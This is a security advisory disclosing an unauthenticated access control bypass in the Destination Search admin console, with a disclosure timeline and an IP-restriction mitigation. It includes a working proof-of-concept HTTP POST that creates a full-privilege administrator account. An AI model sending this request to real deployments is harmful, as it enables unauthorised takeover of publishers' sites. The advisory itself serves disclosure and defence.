Security-Assessment.com Advisory: Destination Search Admin Console Access Control Bypass

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    presents..

Destination Search Admin Console Access Control Bypass

Vendor link: http://www.localmatters.com/
PDF:
http://www.security-assessment.com/files/documents/advisory/Destination_Search_-_Admin_Console_Access_Control_Bypass.pdf

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|Description|
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From the vendor website:

*** Destination Search is an industry-leading search platform that
enables publishers to promote local business listings on web and mobile
devices. Developed with smart search technology, Destination Search
ensures relevant results that match consumer intent, by enabling
searches by business name, keyword or category. ***

The Destination Search software platform includes an administration
console for use by site owners and partners. The console allows for
modification of site content, management of user accounts and the
tracking of click-through rates for advertisers.
It was discovered that access controls in place on the console are
insufficient and permit unauthenticated users to perform actions that
should be restricted.

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|Exploitation|
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Exploitation of this vulnerability involves directly accessing
application pages that do not implement validation of access control
restrictions.
For example, if an unauthenticated user attempts to access a site
template configuration page residing at
http://ds.example.com/selfserve/settings/page-templates they will
correctly be redirected to the console login page. However, by directly
requesting the following page at
http://ds.example.com/selfserve/ss/settings/page-templates, no session
validation is performed and the page is visible.
The following proof-of-concept HTTP POST request will create a new user
called “malicious” with the password “malicious123” and full
administration privileges to the application (the default “Admin” group
has a roleID of 0). Note that this request does not require any cookie
header to be supplied.

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|Proof of Concept HTTP POST Request |
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---

POST /selfserve/ss/user/edit HTTP/1.0
Host: ds.example.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Content-Length: 91

userId=&name=malicious&_status=on&password=malicious123&roleId=0&editListing=all&con
dition=all

---

The application will then return confirmation of successful account
creation in the HTTP response. A malicious user is then free to log in
to the administration console with full privileges.

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|Solution|
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Security-Assessment.com has tried on numerous occasions to contact Local
Matters, Inc. via email and Twitter to alert them to the existence of
this vulnerability. At the time of writing this advisory, no response
has been received from the vendor at all. As such, we are currently
unaware of any security patches being developed by Local Matters, Inc.
to mitigate this critical exploit.
Until the vendor develops and releases an update to their software
package, Security-Assessment.com strongly advises any company that has
Destination Search deployed in a production environment to restrict
access to the administration console to authorised IP addresses only.

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|Advisory Timeline|
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01/09/2011 – Vulnerability discovered
05/09/2011 – Email sent to vendor with details of vulnerability
21/09/2011 – Second attempt at email notification to vendor
28/09/2011 – Communication with vendor attempted via @matterslocal
Twitter account
13/10/2011 – Public release of advisory

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|About Security-Assessment.com|
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